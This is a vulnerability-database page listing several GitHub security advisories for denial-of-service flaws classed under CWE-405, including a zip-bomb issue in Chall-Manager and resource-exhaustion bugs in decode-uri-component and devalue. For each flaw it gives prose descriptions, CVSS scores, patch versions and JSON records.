Chall-Manager's scenario decoding process does not check for zip bombs

Details

Impact

When decoding a scenario (i.e. a zip archive), the size of the decoded content is not checked, potentially leading to zip bombs decompression. Exploitation does not require authentication nor authorization, so anyone can exploit it. It should nonetheless not be exploitable as it is highly recommended to bury Chall-Manager deep within the infrastructure due to its large capabilities, so no users could reach the system.

Patches

Patch has been implemented by commit 14042aa and shipped in v0.1.4.

Workarounds

No workaround exist.

References

N/A.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ctfer-io/chall-manager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-10T17:50:25Z",
    "nvd_published_at": "2025-07-10T20:15:27Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWhen decoding a scenario (i.e. a zip archive), the size of the decoded content is not checked, potentially leading to zip bombs decompression.\nExploitation does not require authentication nor authorization, so anyone can exploit it. It should nonetheless not be exploitable as it is highly recommended to bury Chall-Manager deep within the infrastructure due to its large capabilities, so no users could reach the system.\n\n### Patches\n\nPatch has been implemented by [commit `14042aa`](https://github.com/ctfer-io/chall-manager/commit/14042aa66a577caee777e10fe09adcf2587d20dd) and shipped in [`v0.1.4`](https://github.com/ctfer-io/chall-manager/releases/tag/v0.1.4).\n\n### Workarounds\n\nNo workaround exist.\n\n### References\n\nN/A.",
  "id": "GHSA-r7fm-3pqm-ww5w",
  "modified": "2025-07-10T23:21:54Z",
  "published": "2025-07-10T17:50:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ctfer-io/chall-manager/security/advisories/GHSA-r7fm-3pqm-ww5w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53633"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ctfer-io/chall-manager/commit/14042aa66a577caee777e10fe09adcf2587d20dd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ctfer-io/chall-manager"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ctfer-io/chall-manager/releases/tag/v0.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Chall-Manager\u0027s scenario decoding process does not check for zip bombs"
}

GHSA-RVP5-CHFC-GRQ8

Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-09 18:30

Details

SAPUI5 (and OpenUI5) packages use outdated 3rd party libraries with known security vulnerabilities. When markdown-it encounters special malformed input, it fails to terminate properly, resulting in an infinite loop. This Denial of Service via infinite loop causes high CPU usage and system unresponsiveness due to a blocked processing thread. This vulnerability has no impact on confidentiality or integrity but has a high impact on system availability.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-42873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T16:17:51Z",
    "severity": "MODERATE"
  },
  "details": "SAPUI5 (and OpenUI5) packages use outdated 3rd party libraries with known security vulnerabilities. When markdown-it encounters special malformed input, it fails to terminate properly, resulting in an infinite loop. This Denial of Service via infinite loop causes high CPU usage and system unresponsiveness due to a blocked processing thread. This vulnerability has no impact on confidentiality or integrity but has a high impact on system availability.",
  "id": "GHSA-rvp5-chfc-grq8",
  "modified": "2025-12-09T18:30:37Z",
  "published": "2025-12-09T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42873"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3676970"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VCC3-GHJQ-M6FR

Vulnerability from github – Published: 2026-08-31 22:10 – Updated: 2026-08-31 22:10

Summary

decode-uri-component: Denial of service via exponential decoding of malformed percent-encoded input

Details

Impact

An attacker who can supply input to decodeUriComponent() (directly or via a dependency that uses this package on URL/query/path data) can cause excessive CPU usage and application unresponsiveness. This is an availability issue; there is no known memory corruption, data disclosure, or remote code execution impact.

Patches

Upgrade to decode-uri-component@0.5.0.

Workarounds

Limit the size of the input.

Severity

6.6 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/S:N/AU:Y/R:U/V:D/RE:M/U:Amber

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "decode-uri-component"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1176",
      "CWE-400",
      "CWE-405",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-31T22:10:20Z",
    "nvd_published_at": "2026-06-30T09:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAn attacker who can supply input to `decodeUriComponent()` (directly or via a dependency that uses this package on URL/query/path data) can cause excessive CPU usage and application unresponsiveness. This is an availability issue; there is no known memory corruption, data disclosure, or remote code execution impact.\n\n### Patches\nUpgrade to `decode-uri-component@0.5.0`.\n\n### Workarounds\nLimit the size of the input.",
  "id": "GHSA-vcc3-ghjq-m6fr",
  "modified": "2026-08-31T22:10:20Z",
  "published": "2026-08-31T22:10:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SamVerschueren/decode-uri-component/security/advisories/GHSA-vcc3-ghjq-m6fr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45822"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SamVerschueren/decode-uri-component/commit/fa479dafeede7bedf04e5c89aa78f2a78c664005"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SamVerschueren/decode-uri-component"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SamVerschueren/decode-uri-component/blob/00662938dc7c6241547ae8abce7785cc13ffd3f6/index.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SamVerschueren/decode-uri-component/releases/tag/v0.5.0"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/decode-uri-component"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/S:N/AU:Y/R:U/V:D/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ],
  "summary": "decode-uri-component: Denial of service via exponential decoding of malformed percent-encoded input"
}

GHSA-VPFG-GC96-VG45

Vulnerability from github – Published: 2026-05-19 15:31 – Updated: 2026-05-19 15:31

Details

Technitium DNS Server aggressively tries to fetch missing RRSIG records or mismatched DNSKEY records. An attacker in control of a domain can cause a vulnerable system to generate excessive network traffic. Fixed in 15.0.

Severity

5.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-45557"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T15:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Technitium DNS Server aggressively tries to fetch missing RRSIG records or mismatched DNSKEY records. An attacker in control of a domain can cause a vulnerable system to generate excessive network traffic. Fixed in 15.0.",
  "id": "GHSA-vpfg-gc96-vg45",
  "modified": "2026-05-19T15:31:36Z",
  "published": "2026-05-19T15:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45557"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TechnitiumSoftware/DnsServer/blo/master/CHANGELOG.md#version-150"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-26-138-02.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45557"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VW5P-8CQ8-M7MV

Vulnerability from github – Published: 2026-01-15 18:10 – Updated: 2026-01-15 22:33

Summary

Devalue is vulnerable to denial of service due to memory exhaustion in devalue.parse

Details

Summary

Certain inputs can cause devalue.parse to consume excessive CPU time and/or memory, potentially leading to denial of service in systems that parse input from untrusted sources. This affects applications using devalue.parse on externally-supplied data. The root cause is the typed array hydration expecting an ArrayBuffer as input, but not checking the assumption before creating the typed array.

Details

The parser's typed array hydration logic does not properly validate input before processing. Specially crafted inputs can cause disproportionate memory allocation or CPU usage on the receiving system.

Impact

This is a denial of service vulnerability affecting systems that use devalue.parse to handle data from potentially untrusted sources.

Affected systems should upgrade to patched versions immediately.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.6.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "devalue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.0"
            },
            {
              "fixed": "5.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-15T18:10:15Z",
    "nvd_published_at": "2026-01-15T19:16:05Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nCertain inputs can cause `devalue.parse` to consume excessive CPU time and/or memory, potentially leading to denial of service in systems that parse input from untrusted sources. This affects applications using `devalue.parse` on externally-supplied data. The root cause is the typed array hydration expecting an `ArrayBuffer` as input, but not checking the assumption before creating the typed array.\n\n## Details\n\nThe parser\u0027s typed array hydration logic does not properly validate input before processing. Specially crafted inputs can cause disproportionate memory allocation or CPU usage on the receiving system.\n\n## Impact\n\nThis is a denial of service vulnerability affecting systems that use `devalue.parse` to handle data from potentially untrusted sources.\n\nAffected systems should upgrade to patched versions immediately.",
  "id": "GHSA-vw5p-8cq8-m7mv",
  "modified": "2026-01-15T22:33:39Z",
  "published": "2026-01-15T18:10:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/security/advisories/GHSA-vw5p-8cq8-m7mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22774"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/commit/11755849fa0634ae294a15ec0aef2f43efcad7c4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/commit/e46afa64dd2b25aa35fb905ba5d20cea63aabbf7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sveltejs/devalue"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/releases/tag/v5.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Devalue is vulnerable to denial of service due to memory exhaustion in devalue.parse"
}

CWE-405

Asymmetric Resource Consumption (Amplification)

GHSA-MJ63-M3RC-8PPR

Impact

Workarounds

GHSA-QJVR-435C-5FJH

Vulnerability Pattern

Affected Scope

Attack Mechanics

Impact

Severity Rationale

Proof of Concept

Remediation

Prior Art

GHSA-QQ6M-6P3W-4J5W

GHSA-QWCR-R2FM-QRC7

Impact

Patches

References

GHSA-R4CC-XCX2-VP28

GHSA-R7FM-3PQM-WW5W

Impact

Patches

Workarounds

References

GHSA-RVP5-CHFC-GRQ8

GHSA-VCC3-GHJQ-M6FR

Impact

Patches

Workarounds

GHSA-VPFG-GC96-VG45

GHSA-VW5P-8CQ8-M7MV

Summary

Details

Impact

Mitigation

Mitigation

Mitigation